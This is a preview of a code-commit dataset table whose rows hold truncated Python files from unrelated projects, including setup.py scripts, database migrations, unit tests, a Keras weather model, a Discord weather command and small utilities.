commit stringlengths 40 40 | subject stringlengths 1 1.49k | old_file stringlengths 4 311 | new_file stringlengths 4 311 | new_contents stringlengths 1 29.8k | old_contents stringlengths 0 9.9k | lang stringclasses 3
values | proba float64 0 1 |
|---|---|---|---|---|---|---|---|
afaed1b9c6889312cc3e6fa992a03c500470e967 | add test for feature sequence | src/edge/tests/test_feature.py | src/edge/tests/test_feature.py | from django.test import TestCase
from edge.models import Fragment
class FeatureTests(TestCase):
def setUp(self):
self.root_sequence = "agttcgaggctga"
self.root = Fragment.create_with_sequence("Foo", self.root_sequence)
def test_sequence_positive_strand(self):
feature = self.root.anno... | Python | 0 | |
bf34c1dbb37865e62e97e3463645c7df16a4ca08 | Add an interface for Markov Chains | markov_chain.py | markov_chain.py | from random import choice
class MarkovChain(object):
""" An interface for signle-word states Markov Chains """
def __init__(self, text=None):
self._states_map = {}
if text is not None:
self.add_text(text)
def add_text(self, text, separator=" "):
""" Adds text ... | Python | 0.000001 | |
055c1b0d140e2c5659c2767fd123fc69d0f83859 | Create clean_up_d3s.py | clean_up_d3s.py | clean_up_d3s.py | from globalvalues import RPI
if RPI:
import RPi.GPIO as GPIO
GPIO.cleanup()
| Python | 0.000002 | |
fb10273ee2007846fa760d36ebb6806b35407fa3 | add script/json/ts-urllib2.py | script/json/ts-urllib2.py | script/json/ts-urllib2.py | #!/usr/bin/env python
#
# ts-urllib2.py
#
# Author: Zex <top_zlynch@yahoo.com>
#
import urllib2
import json
from os import path, mkdir
from basic import *
if not path.isdir(RESPONSE_DIR):
mkdir(RESPONSE_DIR)
def case():
headers = {
#'Content-Type' : 'application/json'
#'Content-Type' : 'text/h... | Python | 0.000001 | |
65cc9fd3ada01790484469028875e580e8447c85 | Update migrations to current state (#65) | aa_stripe/migrations/0021_auto_20190906_1623.py | aa_stripe/migrations/0021_auto_20190906_1623.py | # Generated by Django 2.1.11 on 2019-09-06 20:23
import django_extensions.db.fields.json
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('aa_stripe', '0020_stripecharge_statement_descriptor'),
]
operations = [
migrations.AlterField(
... | Python | 0 | |
6f415dccb547cae95aeb9946e503cadd99f63bd6 | add backtest_files.py | scripts/backtest_files.py | scripts/backtest_files.py | #!/usr/bin/python3
import json
import sys
from pprint import pprint
import requests
import re
import os
import shutil
location = os.path.dirname(os.path.realpath(__file__))
data_dir = os.path.join(location, "..", "data")
config_name = sys.argv[1]
items = sys.argv[2:]
config_file = os.path.join(data_dir, config_name ... | Python | 0.000003 | |
e1b36f6d875ca358993af03ae0fb95d3def87f29 | Create weather_cnn3d.py | weather_cnn3d.py | weather_cnn3d.py | import numpy as np
import os.path
import sys
from keras.models import Sequential, load_model
from keras.layers import Convolution2D, MaxPooling2D, Convolution3D, MaxPooling3D
#from keras.layers.convolutional import Conv2D, Conv3D
#from keras.layers.pooling import MaxPooling2D, MaxPooling3D
from keras.layers.core import... | Python | 0.003452 | |
e4b1467527046470aca48042536d10ac50e4ff47 | Test case for cluster_policies API | senlin/tests/apiv1/test_cluster_policies.py | senlin/tests/apiv1/test_cluster_policies.py | # Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed unde... | Python | 0.000001 | |
7e1058821f165e60d76eee1b07a7b411f3439408 | Create uber.py | modules/uber.py | modules/uber.py | def uber(self):
self.send_chan("Moi")
| Python | 0.000036 | |
305d6ecc426133bacb24b73dc42af9ccc6eb65c8 | Add weather command | cogs/weather.py | cogs/weather.py | from discord.ext import commands
from .utils import config, checks
from urllib.parse import urlencode
from urllib.request import urlopen
from urllib.error import URLError
from datetime import datetime
import json
import discord
import asyncio
class Weather:
def __init__(self, bot):
self.b... | Python | 0 | |
b8795def87635aa8192f5f8cf64afe1a22ec30f1 | Add findCsetsIntersection.py script to find intersecting changesets in our knownBrokenRanges. | autobisect-js/findCsetsIntersection.py | autobisect-js/findCsetsIntersection.py | #!/usr/bin/env python
#
# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this file,
# You can obtain one at http://mozilla.org/MPL/2.0/.
import os
import sys
from optparse import OptionParser
from ignoreAndEarliestWorkingLists impor... | Python | 0 | |
03c082ecd8a056f88cd7070499df9d2f2329668b | add experimental wimote support | lampapp/wiimote.py | lampapp/wiimote.py | #-*- coding:utf-8 -*-
import cwiid
class WiimoteError(RuntimeError):
pass
class Wiimote():
def __init__(self):
self._wm = None
self._led = 0
self._rpt_mode = 0
def connect(self):
#TODO: add msg throw log ?
try:
self._wm = cwiid.Wiimote()
s... | Python | 0 | |
edd808ae5ef9b69dddaf522850ef1f55a295990e | Add tests for generating predictions | cf_predict/test/test_cf_predict.py | cf_predict/test/test_cf_predict.py | """Unit test cf_predict"""
import json
import pickle
import numpy as np
import pytest
from mockredis import MockRedis
from .conftest import models
from cf_predict import __version__
from cf_predict.resources import get_db
@pytest.mark.usefixtures("client_class")
class TestCf_predict:
def test_catalogue(self):
... | """Unit test cf_predict"""
import pytest
from cf_predict import __version__
from cf_predict.resources import get_db
@pytest.mark.usefixtures("client_class")
class TestCf_predict:
def test_catalogue(self):
rv = self.client.get("/")
assert rv.status_code == 200
assert rv.json == {
... | Python | 0.000001 |
e81f823a1542bf24caa081b299352e593e1a10c9 | Add a utility function | cohydra/util.py | cohydra/util.py | import os
def recursive_scandir(top_dir, dir_first=True):
"""Recursively scan a path.
Args:
top_dir: The path to scan.
dir_first: If true, yield a directory before its contents.
Otherwise, yield a directory's contents before the
directory itself.
Returns:
A generator of t... | Python | 0.00008 | |
e29de047d770de70f3745ae410b62d0ddad4b0b4 | Add one test case for IOTOS-358 | lib/oeqa/runtime/misc/appFW.py | lib/oeqa/runtime/misc/appFW.py | from oeqa.oetest import oeRuntimeTest
class AppFwTest(oeRuntimeTest):
""" App Framework testing """
def test_sqlite_integration(self):
""" test sqlite is integrated in image """
(status,output) = self.target.run("rpm -qa | grep sqlite")
self.assertEqual(status, 0, output)
| Python | 0 | |
6b4507793f6c536a604ba0e81143453ff9a9eab2 | Add a rough-and-ready proximity | piwars/controllers/proximity.py | piwars/controllers/proximity.py | # -*- coding: utf-8 -*-
import os, sys
import collections
import itertools
import queue
import statistics
import threading
from ..core import config, exc, logging, utils
log = logging.logger(__package__)
from . import remote
from ..sensors import ultrasonic
#
# This controller is trying to have the robo... | Python | 0.003421 | |
1051ec35f33c3e7a3946af3cf8a11a86dc9265a0 | Create utility module | app_v2/utils.py | app_v2/utils.py | def map_range(x, in_min, in_max, out_min, out_max):
out_delta = out_max - out_min
in_delta = in_max - in_min
return (x - in_min) * out_delta / in_delta + out_min
| Python | 0 | |
d3a3d4d5b380ea18b767515dfadfc0256d26e1eb | Add a snippet. | python/tkinter/python3/matplotlib_canvas_using_class_and_toolbar_and_keyboard_events.py | python/tkinter/python3/matplotlib_canvas_using_class_and_toolbar_and_keyboard_events.py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Copyright (c) 2012 Jérémie DECOCK (http://www.jdhp.org)
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including witho... | Python | 0.000002 | |
351d243ccf33b0dd979d84a67e6288621dd84227 | Fix --debug-shell | src/ostbuild/pyostbuild/vcs.py | src/ostbuild/pyostbuild/vcs.py | # Copyright (C) 2011 Colin Walters <walters@verbum.org>
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2 of the License, or (at your option) any later version.
#
# Thi... | # Copyright (C) 2011 Colin Walters <walters@verbum.org>
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2 of the License, or (at your option) any later version.
#
# Thi... | Python | 0 |
c6d505ef6610ebb383e4f0a7a3d1b746f7fd5f75 | add group | conjur/group.py | conjur/group.py | #
# Copyright (C) 2014 Conjur Inc
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of
# this software and associated documentation files (the "Software"), to deal in
# the Software without restriction, including without limitation the rights to
# use, copy, modify, merge, publish, distri... | Python | 0.000001 | |
0fd4a7e33f67a2405362c2a57ba72f5f6c034651 | should be called daily | bin/generate_tsas.py | bin/generate_tsas.py | #!/usr/bin/python
from __future__ import print_function
import cProfile
import copy
import sys
import gc
import logging
logging.basicConfig(level=logging.INFO)
# own modules
from datalogger import DataLoggerWeb as DataLoggerWeb
from commons import *
def main(project, tablename, datestring, datalogger):
#caches = d... | Python | 0.998713 | |
d14c0127a2489c03a50f49751b8b735202873e29 | Add RFID Reader example. | black_rfid_reader.py | black_rfid_reader.py | from keyboard_alike import reader
class RFIDReader(reader.Reader):
"""
This class supports common black RFID Readers for 125 kHz read only tokens
http://www.dx.com/p/intelligent-id-card-usb-reader-174455
"""
def extract_meaningful_data_from_chunk(self, raw_data):
# every good chunk is foll... | Python | 0 | |
a14b5aad9f6f15cfd9bee32c689e023a5dc94f19 | Add very basic visualization tool in python until I find a go lib which can do the same | visualize.py | visualize.py | '''
Create a visual representation of the various DAGs defined
'''
import requests
import networkx as nx
import matplotlib.pyplot as plt
if __name__ == '__main__':
g = nx.DiGraph()
labels = {
'edges': {},
'nodes': {},
}
nodes = {}
for routeKey, routeMap in requests.get('http://l... | Python | 0 | |
78c64d00df97edbec5f07213dc87ff30a7bb4ca9 | Create moveToObject.py | af_scripts/misc/moveToObject.py | af_scripts/misc/moveToObject.py | # move to object
import pymel.core as pm
def move_to_object():
get_sel = pm.ls(sl=1,fl=1)
if len(get_sel) == 2:
src = get_sel[1]
target = get_sel[0]
src_oc_x = pm.objectCenter(src,x=1)
src_oc_y = pm.objectCenter(src,y=1)
src_oc_z = pm.objectCenter(src,z=1)
target_oc_x = pm.objectCenter(target,x=1)
tar... | Python | 0.000001 | |
6a25eb2caad6ea295b5c304512b1a94ecdf6886a | add collisionViewer to visualize robot collisions in manip plans | src/python/scripts/collisionViewer.py | src/python/scripts/collisionViewer.py | import os
import sys
import PythonQt
from PythonQt import QtCore, QtGui
import ddapp.applogic as app
from ddapp import jointcontrol
from ddapp import lcmUtils
from ddapp import robotstate
from ddapp.timercallback import TimerCallback
import functools
import drc as lcmdrc
class PlanChecker(object):
def __init__... | Python | 0 | |
6f2e9362ac8925878e96d18f9b792ff440d83e83 | 819. Most Common Word | LeetCode/MostCommonWord.py | LeetCode/MostCommonWord.py | from collections import Counter
from re import sub
class Solution:
def mostCommonWord(self, paragraph, banned):
"""
:type paragraph: str
:type banned: List[str]
:rtype: str
"""
return Counter([p_word for p_word in [re.sub("[^a-zA-Z]+", "", word.lower()) for word in p... | Python | 0.999999 | |
a84935319ceb492af854c4af933794c2f014c269 | Create http.py | src/site/cms/http.py | src/site/cms/http.py | # -*- coding: utf-8 -*-
from os.path import abspath, join
import pickle
from datetime import *
from http.cookies import *
from cms.fs import *
class Status:
OK = '200 OK'
Created = '201 Created'
Moved = '301 Moved Permanently'
Found = '302 Found'
Redirect = '307 Temporary R... | Python | 0 | |
7c1a1ee17b83a39d7dfb37b595090ccb7bc23532 | create default group for ODIN users (if necessary) | promort/odin/migrations/0001_initial.py | promort/odin/migrations/0001_initial.py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.3 on 2017-08-01 08:00
from __future__ import unicode_literals
from django.db import migrations
from promort import settings as pms
import logging
logger = logging.getLogger('promort')
def create_odin_group(apps, schema_editor):
logger.info('Creating default gr... | Python | 0 | |
62f1eec7e9c88a096855f3e4d513e2c34bca0b7c | remove old profile function | backend/geonature/migrations/versions/dde31e76ce45_remove_old_profile_function.py | backend/geonature/migrations/versions/dde31e76ce45_remove_old_profile_function.py | """remove old profile function
Revision ID: dde31e76ce45
Revises: 6f7d5549d49e
Create Date: 2022-01-06 10:23:55.290043
"""
import sqlalchemy as sa
from alembic import op
from geonature.utils.config import config
# revision identifiers, used by Alembic.
revision = 'dde31e76ce45'
down_revision = '6f7d5549d49e'
branc... | Python | 0.000006 | |
bf979d2c32d84c4011a7363489798056d3cc6a58 | add TestBEventsWithFile | tests/unit/Events/test_BEventsWithFile.py | tests/unit/Events/test_BEventsWithFile.py | from AlphaTwirl.Events import BEvents as Events
from AlphaTwirl.Events import Branch
import unittest
import ROOT
##____________________________________________________________________________||
inputPath = '/Users/sakuma/work/cms/c150130_RA1_data/c150130_01_PHYS14/20150331_SingleMu/TTJets/treeProducerSusyAlphaT/tree.r... | Python | 0.000001 | |
0782e8786272fcd6e3e1a41d31bea253865c468b | Add SolveTimer - print number of iterations and elapsed time to console while running ml.solve() - see docstring for usage | pastas/timer.py | pastas/timer.py | try:
from tqdm.auto import tqdm
except ModuleNotFoundError:
raise ModuleNotFoundError("SolveTimer requires 'tqdm' to be installed.")
class SolveTimer(tqdm):
"""Progress indicator for model optimization.
Usage
-----
Print timer and number of iterations in console while running
`ml.solve()... | Python | 0 | |
a9a0afa66c94e08513cf4d19725b081cab39d4dc | Make new elk module script | make_new_elk_module.py | make_new_elk_module.py | #!/usr/bin/env python
# This script is for creating a new herd animal. Just run this script
# from the "stork" directory supplying a new animal name and it should
# create a complete application template built with support for both
# MOOSE and ELK. Enjoy!
import os, sys, string, re, subprocess
from optparse import ... | Python | 0.000001 | |
0d12fe35e0c7a31987d83737d22bfc9f54e72709 | Add Binary | add-binary.py | add-binary.py | # author: Fei Gao
#
# Add Binary
#
# Given two binary strings, return their sum (also a binary string).
# For example,
# a = "11"
# b = "1"
# Return "100".
class Solution:
# @param a, a string
# @param b, a string
# @return a string
def addBinary(self, a, b):
ai = int(a, base=2)
bi = i... | Python | 0.999982 | |
dd30bed54205eb3639e8af0e2cf879e7cf319701 | add solution for Symmetric Tree | src/symmetricTree.py | src/symmetricTree.py | # Definition for a binary tree node
# class TreeNode:
# def __init__(self, x):
# self.val = x
# self.left = None
# self.right = None
class Solution:
# @param root, a tree node
# @return a boolean
def isSymmetric(self, root):
if not root:
return True
... | Python | 0.000001 | |
6ece957e5317a9f54499714f9a7cb9bca221d4e5 | Add a simple script that runs the pipeline for the single specified user | bin/debug/intake_single_user.py | bin/debug/intake_single_user.py | import json
import logging
import argparse
import numpy as np
import uuid
import emission.pipeline.intake_stage as epi
import emission.core.wrapper.user as ecwu
if __name__ == '__main__':
np.random.seed(61297777)
parser = argparse.ArgumentParser(prog="intake_single_user")
group = parser.add_mutually_excl... | Python | 0 | |
4c5f750801cef0424fd93432b688fb74b079f4c5 | Add migration to backfill recipient counts | temba/msgs/migrations/0037_backfill_recipient_counts.py | temba/msgs/migrations/0037_backfill_recipient_counts.py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('msgs', '0036_auto_20151103_1014'),
]
def backfill_recipient_counts(apps, schema):
Broadcast = apps.get_model('msgs', 'Broadc... | Python | 0 | |
b44f13bfa1ac8b3c1bd24e528fc7874a06df0121 | Add script that creates a filtered list of required packages | dev_tools/src/d1_dev/update-requirements-txt.py | dev_tools/src/d1_dev/update-requirements-txt.py | #!/usr/bin/env python
import shutil
import d1_dev.util
import os
import pip._internal.utils.misc
import re
REQUIREMENTS_FILENAME = 'requirements.txt'
# Modules in my dev environment that are not required by the stack
MODULE_FILTER_REGEX_LIST = {
'beautifulsoup',
'black',
'bs4',
'dataone.*',
'e... | Python | 0.000001 | |
869e0d41a498698b3c785af7c86dc2bc831e0791 | Create three-words.py | CheckiO/three-words.py | CheckiO/three-words.py | def checkio(words):
return '111' in ''.join('1' if w.isalpha() else '0' for w in words.split())
| Python | 0.99997 | |
2521df36a3decb2824ef1207420a9b288b544fee | 1512. Number of Good Pairs | LeetCode/NumberOfGoodPairs.py | LeetCode/NumberOfGoodPairs.py | # don't need to show the pairs, so the order doesn't matter
# just need to find how many times each number appears and count the pairs
from collections import Counter
class Solution:
def numIdenticalPairs(self, nums: List[int]) -> int:
counts = Counter(nums)
return sum(count * (count - 1) // 2 for... | Python | 0.999999 | |
f7d95d4df21bc442261723298f9889bd093feb97 | add spaceapi module | py3status/modules/spaceapi.py | py3status/modules/spaceapi.py | # -*- coding: utf-8 -*-
"""
This module shows if your favorite hackerspace is open or not
Last modified: 2015-02-01
Author: @timmszigat
License: WTFPL http://www.wtfpl.net/txt/copying/
"""
from time import time
import datetime
import json
import urllib.request
import codecs
class Py3status:
"""
Configuration... | Python | 0.000001 | |
651c44b51a26733dde22e82a80b0668302e5df52 | implement a base class for backends | merfi/backends/base.py | merfi/backends/base.py | from merfi import base, util
from tambo import Transport
class BaseBackend(base.BaseCommand):
options = []
parser = None
def parse_args(self):
self.parser = Transport(self.argv, options=self.options)
self.parser.catch_help = self.help()
self.parser.parse_args()
self.path ... | Python | 0 | |
7086ce47e4a2b6611596d177cc5adb166b382f48 | Create cryptography.py | cryptography.py | cryptography.py | """
| Python | 0.999878 | |
2eb5ba178e3bed422a2cb7437362b30df717103e | remove dbcred file from staging interface | dataactvalidator/interfaces/validatorStagingInterface.py | dataactvalidator/interfaces/validatorStagingInterface.py | from dataactcore.models.baseInterface import BaseInterface
from dataactcore.config import CONFIG_DB
class ValidatorStagingInterface(BaseInterface):
""" Manages all interaction with the staging database """
dbName = CONFIG_DB['staging_db_name']
Session = None
engine = None
session = None
def _... | from sqlalchemy.exc import ResourceClosedError
from dataactcore.models.baseInterface import BaseInterface
class ValidatorStagingInterface(BaseInterface):
""" Manages all interaction with the staging database """
dbName = "staging"
credFileName = "dbCred.json"
Session = None
engine = None
sessi... | Python | 0 |
06b1113c74821b144a2e31e55020f2db2fcd44a2 | Add contacts example script. | contacts.py | contacts.py | #!/usr/bin/python2.4
# -*- coding: utf-8 -*-
#
# Copyright (C) 2012 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless ... | Python | 0 | |
6f2529d1891b5c256394b9c8aa991b25a029b5f1 | Add a migration to load users and buckets | migrations/004_load_seed_file.py | migrations/004_load_seed_file.py | """
Load initial user and bucket data from seed files.
"""
import logging
import os
import subprocess
import sys
log = logging.getLogger(__name__)
def up(db):
names = db.collection_names()
if "users" in names:
log.info("users collection already created")
return
if "buckets" in names:
... | Python | 0 | |
3dbe5ce617d882dc74a1b95e830634dc0d0f800c | Add examples from the ORM tutorial | python/sqlalchemy/tutorial.py | python/sqlalchemy/tutorial.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Examples from the ORM tutorial
#
from __future__ import print_function, division
from sqlalchemy import Column, Integer, String, Sequence, ForeignKey
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy.orm import relationship, backref
Base = decla... | Python | 0 | |
b9da5732579dce0f25a413cbfe4936b8ac024aa5 | move gzip classes into gzip | bamboo_crawler/gzip/__init__.py | bamboo_crawler/gzip/__init__.py | import gzip
from ..interfaces.deserializer import Deserializer
from ..interfaces.serializer import Serializer
class GzipSerializer(Serializer[bytes, bytes]):
def serialize(self, value: bytes) -> bytes:
return gzip.compress(value)
class GzipDeserializer(Deserializer[bytes, bytes]):
def deserialize(s... | Python | 0.000002 | |
99282d42a3948b9ed45b02df657c344667ec0cf2 | Add a migration for directive_sections -> relationships | src/ggrc/migrations/versions/20150521125008_324d461206_migrate_directive_sections_to_.py | src/ggrc/migrations/versions/20150521125008_324d461206_migrate_directive_sections_to_.py | # Copyright (C) 2015 Google Inc., authors, and contributors <see AUTHORS file>
# Licensed under http://www.apache.org/licenses/LICENSE-2.0 <see LICENSE file>
# Created By: anze@reciprocitylabs.com
# Maintained By: anze@reciprocitylabs.com
"""Migrate directive_sections to relationships
Revision ID: 324d461206
Revises:... | Python | 0 | |
5b9d9f531e3544f6d3dfe0a2e48dcaaebf132921 | Test case for RPC HTTP handler. | test/services/appmanager/test_http.py | test/services/appmanager/test_http.py | import time
import requests
from weavelib.messaging import Receiver
from weavelib.rpc import RPCServer, ServerAPI
from weavelib.services import BaseService
from weaveserver.core.services import ServiceManager
from weaveserver.services.appmanager import ApplicationService
AUTH = {
"auth1": {
"type": "SYS... | Python | 0 | |
892c89c8ae953b84720cc4d617d772f1e777af82 | add @erfannoury's poisson disk sampling code | src/poisson_disk.py | src/poisson_disk.py | """
@author: Erfan Noury, https://github.com/erfannoury
"""
import numpy as np
from numpy.random import random as rnd
class PoissonDiskSampler(object):
def __init__(self, width, height, radius, k=20):
"""
This class is for sampling points in a 2-D region
such that no two points are closer ... | Python | 0 | |
8ba5b29200520d853791943341d41798ff80a248 | Change meta option for Github | src/repository/migrations/0003_auto_20170524_1503.py | src/repository/migrations/0003_auto_20170524_1503.py | # -*- coding: utf-8 -*-
# Generated by Django 1.10.5 on 2017-05-24 15:03
from __future__ import unicode_literals
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('repository', '0002_auto_20170522_2021'),
]
operations = [
migrations.AlterModelOpti... | Python | 0.000001 | |
811c1ed7324075970f0009d691866d1d47de43a2 | add a setup.py to make this a nice official package | setup.py | setup.py | #!/usr/bin/python2.4
#
# Copyright 2006 Google Inc. All Rights Reserved.
from distutils.core import setup
setup(name="google-mysql-tools",
description="Google MySQL Tools",
url="http://code.google.com/p/google-mysql-tools",
version="0.1",
packages=["gmt"],
scripts=["mypgrep.py", "compact... | Python | 0.000001 | |
193aa3ff7ef4219fd29a0ea40a8c0d2e5467de75 | Add setup.py script | setup.py | setup.py | #!/usr/bin/env python
from distutils.core import setup
setup(name = "MutatorMath",
version = "1.8",
description = "Python for piecewise linear interpolation in multiple dimensions with multiple, arbitrarily placed, masters.",
author = "Erik van Blokland",
author_email = "erik@letterror.com",
... | Python | 0.000001 | |
21a0948eb1d25e9126e2940cbc7d0496181d6a93 | Add Django version trove classifiers. | setup.py | setup.py | import os
from setuptools import setup, find_packages
NAME = 'djangae'
PACKAGES = find_packages()
DESCRIPTION = 'Django integration with Google App Engine'
URL = "https://github.com/potatolondon/djangae"
LONG_DESCRIPTION = open(os.path.join(os.path.dirname(__file__), 'README.md')).read()
AUTHOR = 'Potato London Ltd.'... | import os
from setuptools import setup, find_packages
NAME = 'djangae'
PACKAGES = find_packages()
DESCRIPTION = 'Django integration with Google App Engine'
URL = "https://github.com/potatolondon/djangae"
LONG_DESCRIPTION = open(os.path.join(os.path.dirname(__file__), 'README.md')).read()
AUTHOR = 'Potato London Ltd.'... | Python | 0 |
f1ae87bd9df2c3d70db980ea5e721223b545da5f | Add setup.py | setup.py | setup.py | #!/usr/bin/env python
from distutils.core import setup
setup(name='Djheroku',
version='0.1',
description='Some helper functionality for binding Heroku configuration to Django',
author='Ferrix Hovi',
author_email='ferrix+git@ferrix.fi',
url='http://github.com/ferrix/djheroku/',
pack... | Python | 0 | |
6f57426a6a3881816506868f8278e252e5b0e5cd | Add setup.py file. | setup.py | setup.py | try:
from setuptools import setup
except ImportError:
from distutils.core import setup
config = {
'description': 'A set of tools to plan astronomical observations.',
'author': 'iastro-pt',
'url': 'https://github.com/iastro-pt/ObservationTools',
'download_url': 'https://github.com/iastro-pt/Obs... | Python | 0 | |
50e9d1f1f66c6fc4e549fa7084f0189e0805d58e | Add first version of setup.py | setup.py | setup.py | #!/usr/bin/env python
import sys
if sys.version_info < (3,5):
sys.exit("doctr requires Python 3.5 or newer")
from setuptools import setup
import versioneer
setup(
name='doctr',
version=versioneer.get_version(),
cmdclass=versioneer.get_cmdclass(),
description='''Deploy docs from Travis to GitHub p... | Python | 0 | |
d9bfa5d255a9a2a3ab278f94f338d2147dcdd1db | Fix setup | setup.py | setup.py | try:
from setuptools import setup
except ImportError:
from distutils.core import setup
setup(name='scikit-optimize',
version='0.1',
description='Sequential model-based optimization toolbox.',
long_description=('Scikit-Optimize, or skopt, is a simple and efficient'
' li... | try:
from setuptools import setup
except ImportError:
from distutils.core import setup
setup(name='scikit-optimize',
version='0.1',
description='Sequential model-based optimization toolbox.',
long_description=('Scikit-Optimize, or skopt, is a simple and efficient'
' li... | Python | 0.000001 |
e1d4cbbeab04e6c04b822073937ef19d7ec8e34a | add setup.py | setup.py | setup.py | #!/usr/bin/env python
from setuptools import setup, find_packages
setup(name='raspberryturk',
version='0.0.1',
description='Python package powering the Raspberry Turk chess-playing robot.',
author='Joey Meyer',
author_email='jmeyer41@gmail.com',
url='https://bitbucket.com/joeymeyer/raspb... | Python | 0.000001 | |
a4f05ca4022a542dac45114a832991c6bfc93e4a | Remove setuptools dependence. | setup.py | setup.py | # -*- coding: utf-8 -*-
from distutils.core import setup
setup(
name = "sse",
url = "https://github.com/niwibe/sse",
author = "Andrei Antoukh",
author_email = "niwi@niwi.be",
version="1.1",
description = "Server-Sent Events protocol implemetation.",
py_modules = ['sse'],
classifiers = ... | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from setuptools import setup
description = """
"""
setup(
name = "sse",
url = "https://github.com/niwibe/sse",
author = "Andrei Antoukh",
author_email = "niwi@niwi.be",
version="1.0",
description = "Server Sent Events protocol im... | Python | 0 |
b30e1c560ecde7b2c949de42eceddf5c49c9ba01 | add setup.py file | setup.py | setup.py | from setuptools import setup
setup(
name="localFoodLearner",
version="0.0.1",
install_requires=[
"pandas",
"numpy",
]
) | Python | 0.000001 | |
7036801e6931c480a3eec611ed87f13e29a181bf | Bump version to 0.7.9 | setup.py | setup.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
import sys
here = lambda *a: os.path.join(os.path.dirname(__file__), *a)
try:
from setuptools import setup
except ImportError:
from distutils.core import setup
if sys.argv[-1] == 'publish':
os.system('python setup.py sdist upload')
sys.exit()
... | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
import sys
here = lambda *a: os.path.join(os.path.dirname(__file__), *a)
try:
from setuptools import setup
except ImportError:
from distutils.core import setup
if sys.argv[-1] == 'publish':
os.system('python setup.py sdist upload')
sys.exit()
... | Python | 0 |
1cbe793a5260fcfe8e16462e224bcfc19125063c | add a setup.py | setup.py | setup.py | import os
from setuptools import setup
README = open(os.path.join(os.path.dirname(__file__), 'README.md')).read()
# allow setup.py to be run from any path
os.chdir(os.path.normpath(os.path.join(os.path.abspath(__file__), os.pardir)))
setup(
name='django-admin-resumable-js',
version='0.1',
packages=['admi... | Python | 0.000001 | |
2af222aed53f4cf799824b564ecd7e633d6356b8 | add setup.py | setup.py | setup.py | from setuptools import setup
setup(
name = "datatank_py",
version = "0.1",
packages = [ "datatank_py" ],
install_requires = ['numpy>1.0'],
# package_data = {
# "" : [ "*.tank", "*.markdown", "*.txt" ]
# },
author = "Adam R. Maxwell",
author_email = "amaxwell@mac.com",
... | Python | 0.000001 | |
a8b809a8f0f13bda454c2c78c08b35127bed16d6 | Bump the patch version to 1.0.1. | setup.py | setup.py | from setuptools import setup
setup(
name="django-redis-cache",
url="http://github.com/sebleier/django-redis-cache/",
author="Sean Bleier",
author_email="sebleier@gmail.com",
version="1.0.1",
packages=["redis_cache", "redis_cache.backends"],
description="Redis Cache Backend for Django",
... | from setuptools import setup
setup(
name="django-redis-cache",
url="http://github.com/sebleier/django-redis-cache/",
author="Sean Bleier",
author_email="sebleier@gmail.com",
version="1.0.0",
packages=["redis_cache", "redis_cache.backends"],
description="Redis Cache Backend for Django",
... | Python | 0 |
2dc04229247f28c8c098f8e3e00341419a1ead1c | Add setup.py | setup.py | setup.py | # -*- coding:utf-8 -*-
from setuptools import setup
from setuptools.command.test import test as TestCommand
class PyTest(TestCommand):
def finalize_options(self):
TestCommand.finalize_options(self)
self.test_args = []
self.test_suite = True
def run_tests(self):
import pytest
... | Python | 0.000001 | |
926beaa12c0e17e949c362487014a6ec7521d654 | Add distutils - setup.py | setup.py | setup.py | #!/usr/bin/env python
from sslyze import SSLYZE_VERSION, PROJECT_URL
from distutils.core import setup
setup(name='SSLyze',
version=SSLYZE_VERSION,
description='Fast and full-featured SSL scanner',
long_description=open('README.md').read(),
author_email='sslyze@isecpartners.com',
url=PROJECT_URL,
... | Python | 0 | |
81ed734de508cb9dff61d2bc2703e54bda02067a | remove netifaces from package dependencies | setup.py | setup.py | from setuptools import setup
setup(
name='vent',
version='v0.4.3.dev',
packages=['vent', 'vent.core', 'vent.core.file_drop',
'vent.core.rq_worker', 'vent.core.rq_dashboard', 'vent.menus',
'vent.core.rmq_es_connector', 'vent.helpers', 'vent.api'],
install_requires=['docker', ... | from setuptools import setup
setup(
name='vent',
version='v0.4.3.dev',
packages=['vent', 'vent.core', 'vent.core.file_drop',
'vent.core.rq_worker', 'vent.core.rq_dashboard', 'vent.menus',
'vent.core.rmq_es_connector', 'vent.helpers', 'vent.api'],
install_requires=['docker', ... | Python | 0 |
5262ff764e09b7d8e20cce848a288968014e648e | Add setup.py | setup.py | setup.py | from setuptools import setup
setup(
name='iron',
version='0.0.1',
author='Alexander Schepanovski',
author_email='suor.web@gmail.com',
description='Iron out your python code.',
long_description=open('README.rst').read(),
url='http://github.com/Suor/iron',
license='BSD',
py_modules=... | Python | 0.000001 | |
8dea7c6cc036e228c6a963413195d45f03a55850 | add setup | setup.py | setup.py | from setuptools import setup
setup(scripts=['pip-check.py'])
| Python | 0 | |
4fe0efd61c848aa55e900031e5ae27bc3eb4b149 | Add caffe profile tool. | tools/profiling/py_caffe_profiling.py | tools/profiling/py_caffe_profiling.py | #!/usr/bin/env python
import sys
import os
import argparse
import time
import numpy as np
if __name__ == '__main__':
parser = argparse.ArgumentParser('Time profiling of certain Caffe code.')
parser.add_argument('--caffe',
help='Path to caffe repository.')
parser.add_argument('--gpu', type=int, def... | Python | 0 | |
